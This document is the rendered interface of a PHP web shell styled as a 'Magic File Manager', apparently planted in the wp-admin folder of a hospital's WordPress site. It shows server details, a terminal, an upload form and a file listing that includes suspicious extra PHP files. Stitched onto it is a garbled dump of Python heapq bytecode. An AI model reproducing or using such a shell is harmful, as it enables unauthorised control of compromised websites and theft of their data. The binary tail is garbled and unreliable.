✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.inwp-admin

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 css--drwxr-xr-x
📁 images--drwxr-xr-x
📁 includes--drwxr-xr-x
📁 js--drwxr-xr-x
📁 maint--drwxr-xr-x
📁 network--drwxr-xr-x
📁 user--drwxr-xr-x
🐘 about.php17.572 KB-rw-r--r--
🐘 admin-ajax.php5.025 KB-rw-r--r--
🐘 admin-footer.php2.738 KB-rw-r--r--
🐘 admin-functions.php0.461 KB-rw-r--r--
🐘 admin-header.php9.066 KB-rw-r--r--
🐘 admin-post.php1.974 KB-rw-r--r--
🐘 admin.php12.632 KB-rw-r--r--
🐘 async-upload.php5.473 KB-rw-r--r--
🐘 authorize-application.php10.093 KB-rw-r--r--
🐘 comment.php11.37 KB-rw-r--r--
🐘 contribute.php5.523 KB-rw-r--r--
🐘 credits.php4.044 KB-rw-r--r--
🐘 custom-background.php0.471 KB-rw-r--r--
🐘 custom-header.php0.48 KB-rw-r--r--
🐘 customize.php11.314 KB-rw-r--r--
🐘 edit-comments.php14.145 KB-rw-r--r--
🐘 edit-form-advanced.php28.79 KB-rw-r--r--
🐘 edit-form-blocks.php15.164 KB-rw-r--r--
🐘 edit-form-comment.php13.652 KB-rw-r--r--
🐘 edit-link-form.php6.198 KB-rw-r--r--
🐘 edit-tag-form.php10.408 KB-rw-r--r--
🐘 edit-tags.php21.982 KB-rw-r--r--
🐘 edit.php19.484 KB-rw-r--r--
🐘 erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
🐘 export-personal-data.php7.754 KB-rw-r--r--
🐘 export.php11.001 KB-rw-r--r--
🐘 font-library.php1.445 KB-rw-r--r--
🐘 freedoms.php4.467 KB-rw-r--r--
🐘 import.php7.584 KB-rw-r--r--
🐘 index.php7.68 KB-rw-r--r--
🐘 install-helper.php6.798 KB-rw-r--r--
🐘 install.php17.944 KB-rw-r--r--
🐘 link-add.php0.912 KB-rw-r--r--
🐘 link-manager.php4.259 KB-rw-r--r--
🐘 link-parse-opml.php2.657 KB-rw-r--r--
🐘 link.php2.888 KB-rw-r--r--
🐘 load-scripts.php2.021 KB-rw-r--r--
🐘 load-styles.php2.925 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🐘 media-new.php3.173 KB-rw-r--r--
🐘 media-upload.php3.582 KB-rw-r--r--
🐘 media.php0.8 KB-rw-r--r--
🐘 menu-header.php9.816 KB-rw-r--r--
🐘 menu.php17.709 KB-rw-r--r--
🐘 moderation.php0.3 KB-rw-r--r--
🐘 ms-admin.php0.191 KB-rw-r--r--
🐘 ms-delete-site.php4.505 KB-rw-r--r--
🐘 ms-edit.php0.211 KB-rw-r--r--
🐘 ms-options.php0.224 KB-rw-r--r--
🐘 ms-sites.php0.21 KB-rw-r--r--
🐘 ms-themes.php0.212 KB-rw-r--r--
🐘 ms-upgrade-network.php0.214 KB-rw-r--r--
🐘 ms-users.php0.21 KB-rw-r--r--
🐘 my-sites.php4.718 KB-rw-r--r--
🐘 nav-menus.php49.022 KB-rw-r--r--
🐘 network.php5.394 KB-rw-r--r--
🐘 options-connectors.php1.507 KB-rw-r--r--
🐘 options-discussion.php16.019 KB-rw-r--r--
🐘 options-general.php22.319 KB-rw-r--r--
🐘 options-head.php0.6 KB-rw-r--r--
🐘 options-media.php6.484 KB-rw-r--r--
🐘 options-permalink.php21.964 KB-rw-r--r--
🐘 options-privacy.php10.453 KB-rw-r--r--
🐘 options-reading.php9.959 KB-rw-r--r--
🐘 options-writing.php9.184 KB-rw-r--r--
🐘 options.php13.932 KB-rw-r--r--
🐘 plugin-editor.php13.741 KB-rw-r--r--
🐘 plugin-install.php7.259 KB-rw-r--r--
🐘 plugins.php30.023 KB-rw-r--r--
🐘 post-new.php2.703 KB-rw-r--r--
🐘 post.php10.567 KB-rw-r--r--
🐘 press-this.php2.412 KB-rw-r--r--
🐘 privacy-policy-guide.php3.668 KB-rw-r--r--
🐘 privacy.php2.453 KB-rw-r--r--
🐘 profile.php0.276 KB-rw-r--r--
🐘 revision.php5.699 KB-rw-r--r--
🐘 setup-config.php17.508 KB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 site-editor.php12.19 KB-rw-r--r--
🐘 site-health-info.php4.075 KB-rw-r--r--
🐘 site-health.php10.183 KB-rw-r--r--
🐘 term.php2.196 KB-rw-r--r--
🐘 theme-editor.php16.874 KB-rw-r--r--
🐘 theme-install.php23.745 KB-rw-r--r--
🐘 themes.php48.563 KB-rw-r--r--
🐘 tools.php3.432 KB-rw-r--r--
🐘 update-core.php45.119 KB-rw-r--r--
🐘 update.php12.756 KB-rw-r--r--
🐘 upgrade-functions.php0.333 KB-rw-r--r--
🐘 upgrade.php6.24 KB-rw-r--r--
🐘 upload.php14.934 KB-rw-r--r--
🐘 user-edit.php40.863 KB-rw-r--r--
🐘 user-new.php24.086 KB-rw-r--r--
🐘 users.php25.096 KB-rw-r--r--
🐘 widgets-form-blocks.php5.112 KB-rw-r--r--
🐘 widgets-form.php19.129 KB-rw-r--r--
🐘 widgets.php1.086 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
{|jYH dZgdZdZdZdZdZdZdZdZd Z d Z d Z d Z d Z ddddZddZddZ ddl ddlmZ ddlm Z  ddlmZedk(rddlZeej,yy#e$rY>wxYw#e$rYBwxYw#e$rYFwxYw#e$rYJwxYw)uoHeap queues [explanation by François Pinard] Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] for all k, counting elements from 0. For the sake of comparison, non-existing elements are considered to be infinite. The interesting property of a heap is that a[0] is always its smallest element. The strange invariant above is meant to be an efficient memory representation for a tournament. The numbers below are `k', not a[k]: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 In the tree above, each cell `k' is topping `2*k+1' and `2*k+2'. In a usual binary tournament we see in sports, each cell is the winner over the two cells it tops, and we can trace the winner down the tree to see all opponents s/he had. However, in many computer applications of such tournaments, we do not need to trace the history of a winner. To be more memory efficient, when a winner is promoted, we try to replace it by something else at a lower level, and the rule becomes that a cell and the two cells it tops contain three different items, but the top cell "wins" over the two topped cells. If this heap invariant is protected at all time, index 0 is clearly the overall winner. The simplest algorithmic way to remove it and find the "next" winner is to move some loser (let's say cell 30 in the diagram above) into the 0 position, and then percolate this new 0 down the tree, exchanging values, until the invariant is re-established. This is clearly logarithmic on the total number of items in the tree. By iterating over all items, you get an O(n ln n) sort. A nice feature of this sort is that you can efficiently insert new items while the sort is going on, provided that the inserted items are not "better" than the last 0'th element you extracted. This is especially useful in simulation contexts, where the tree holds all incoming events, and the "win" condition means the smallest scheduled time. When an event schedule other events for execution, they are scheduled into the future, so they can easily go into the heap. So, a heap is a good structure for implementing schedulers (this is what I used for my MIDI sequencer :-). Various structures for implementing schedulers have been extensively studied, and heaps are good for this, as they are reasonably speedy, the speed is almost constant, and the worst case is not much different than the average case. However, there are other representations which are more efficient overall, yet the worst cases might be terrible. Heaps are also very useful in big disk sorts. You most probably all know that a big sort implies producing "runs" (which are pre-sorted sequences, which size is usually related to the amount of CPU memory), followed by a merging passes for these runs, which merging is often very cleverly organised[1]. It is very important that the initial sort produces the longest runs possible. Tournaments are a good way to that. If, using all the memory available to hold a tournament, you replace and percolate items that happen to fit the current run, you'll produce runs which are twice the size of the memory for random input, and much better for input fuzzily ordered. Moreover, if you output the 0'th item on disk and get an input which may not fit in the current tournament (because the value "wins" over the last output value), it cannot fit in the heap, so the size of the heap decreases. The freed memory could be cleverly reused immediately for progressively building a second heap, which grows at exactly the same rate the first heap is melting. When the first heap completely vanishes, you switch heaps and start a new run. Clever and quite effective! In a word, heaps are useful memory structures to know. I use them in a few applications, and I think it is good to keep a `heap' module around. :-) -------------------- [1] The disk balancing algorithms which are current, nowadays, are more annoying than clever, and this is a consequence of the seeking capabilities of the disks. On devices which cannot seek, like big tape drives, the story was quite different, and one had to be very clever to ensure (far in advance) that each tape movement will be the most effective possible (that is, will best participate at "progressing" the merge). Some tapes were even able to read backwards, and this was also used to avoid the rewinding time. Believe me, real good tape sorts were quite spectacular to watch! From all times, sorting has always been a Great Art! :-) )heappushheappopheapify heapreplacemergenlargest nsmallest heappushpopcZ |j|t|dt|dz y)N)append _siftdownlenheapitems /usr/lib64/python3.12/heapq.pyrrs%>KK dAs4y{#c\ |j}|r|d}||d<t|d|S|SNr )pop_siftuprlastelt returnitems rrrs:MhhjG !W Qa Nrc4 |d}||d<t|d|Srrrrrs rrrs+ aJDG D! rcJ |r|d|kr|d|c}|d<t|d|Srrrs rr r s4; Q$Q d1ga Krcl t|}tt|dzD]}t||yN)rreversedrangerxnis rrrs0B AA eAqDk "1 #rc\ |j}|r|d}||d<t|d|S|Sr)r _siftup_maxrs r _heappop_maxr+s:'hhjG !W QD! Nrc4 |d}||d<t|d|Sr)r*rs r_heapreplace_maxr-s'>aJDGa rcl t|}tt|dzD]}t||yr!)rr#r$r*r%s r _heapify_maxr/s/E AA eAqDk "Aq#rcX||}||kDr|dz dz }||}||kr|||<|} |||<yNr rstartposposnewitem parentposparents rrrsO3iG .1WN i V DIC  DIrct|}|}||}d|zdz}||kr/|dz}||kr ||||ks|}||||<|}d|zdz}||kr/|||<t|||yNr"r )rrrr5endposr4r6childposrightposs rrrs YFH3iGuqyH V a< f T(^d8n%DHNS S519 V DI dHc"rcZ ||}||kDr|dz dz }||}||kr|||<|} |||<yr1r2r3s r _siftdown_maxr@sR"3iG .1WN i G DIC  DIrc t|}|}||}d|zdz}||kr/|dz}||kr ||||ks|}||||<|}d|zdz}||kr/|||<t|||yr:)rr@r;s rr*r*'s YFH3iGuqyH V a< f T(^d8n%DHNS S519 V DI$#&rNFkeyreversec'K g}|j}|rt}t}t}d}nt}t }t }d}|ttt|D]%\} } | j} || | |z| g'||t|dkDr% |dx\} } } } | | | d<||| #|r!|d\} } } | | jEd{yttt|D].\} } | j} | } ||| | |z| | g0||t|dkDr3 |dx\}} } } } | | } || | d<| | d<||| 1|r#|d\}} } } | | jEd{yy#t$rYLwxYw#t$r ||YnwxYwt|dkDr97#t$rYwxYw#t$r ||YnwxYwt|dkDrɌ7ww)Nr r r")r r/r+r-rrr enumeratemapiter__next__ StopIterationr__self__)rCrD iterableshh_append_heapify_heappop _heapreplace directionorderitnextvalues key_values rrr<s[" AxxH'  "   {"3tY#78IE2 {{$&%)"3T:;9  !fqj -.qT1&E5$K6AaD A&  !"1 E5$K}} $ $s434 r ;;DFE c%j%)"3UDA B 5 QK a&1* 45aD8- 5% 5z!!Q"  ()!% 5% ==   M!  !   !fqj %     QK  a&1* !sAH F>H $F(;H G$H ?(G'H 2G"2H H H  F%!H $F%%H (F<9H ;F<<H H  GH GH "G63H 5G66H  H c |dk(r,t|}t}t|||}||urgS|gS t|}||k\rt ||d|S|t|}tt||Dcgc] \}}||f }}}|s|St||dd} |} t} |D] }|| ks | ||| f|d\} } | dz } "|j|D cgc]\}} | c} }St|}tt||Dcgc]\}}||||f}}}|s|St||dd} |} t} |D]*}||} | | ks| || | |f|d\} } }| dz } ,|j|D cgc]\} } }| c}} } S#t t f$rYbwxYwcc}}wcc} }wcc}}wcc}} } w)Nr defaultrC)rCr ) rIobjectminrsorted TypeErrorAttributeErrorzipr$r/r-sortr'iterablerCrUsentinelresultsizer(elemtoprTrR_orderk_elems rrrs#  Av (^8Rs3x'r5fX518} 9(,Ra0 0 { (^,/uQx+<=+<44)+<=MVQil' DczVdE]3$Qi V    *01&$&11 hB25eAh2C D2Cwq$s4y!T"2CF D   )A,C E#L I s7 !UD!1 2!' C QJE   KKM)/ 0%aD 00U ~ &   >2E 1s) F$9F:# GG G $F76F7c |dk(r,t|}t}t|||}||urgS|gS t|}||k\rt ||dd|S|t|}ttd| d|Dcgc] \}}||f }}}|s|St||dd} | } t} |D] }| |ks | ||| f|d\} } | dz} "|jd|D cgc]\}} | c} }St|}ttd| d|Dcgc]\}}||||f}}}|s|St||dd} | } t} |D]*}||} | | ks| || | |f|d\} } }| dz} ,|jd|D cgc]\} } }| c}} } S#t t f$rYnwxYwcc}}wcc} }wcc}}wcc}} } w)Nr r[TrBr rF)rD) rIr]maxrr_r`rarbr$rrrcrds rrr s>  Av (^8Rs3x'r5fX5?8} 9(T:2A> > { (^+.uQB/?+DE+D44)+DEMQil" DTzVdE]3$Qi V    D !*01&$&11 hB25eAr26F2K L2Kwq$s4y!T"2KF L   FO )A,C BEL I 7 !UD!1 2!' C QJE   KKK)/ 0%aD 00Q ~ &   F2M 1s) F1=G* G  G G1GGr )*)r-)r/)r+__main__)N) __about____all__rrrr rr+r-r/rrr@r*rrr_heapq ImportError__name__doctestprinttestmodr2rrrzsD\  | 3$    j#( '*N!f:1x81v  ' # #  z /'// !        sGA8B BB8B?BB  B BBB! B!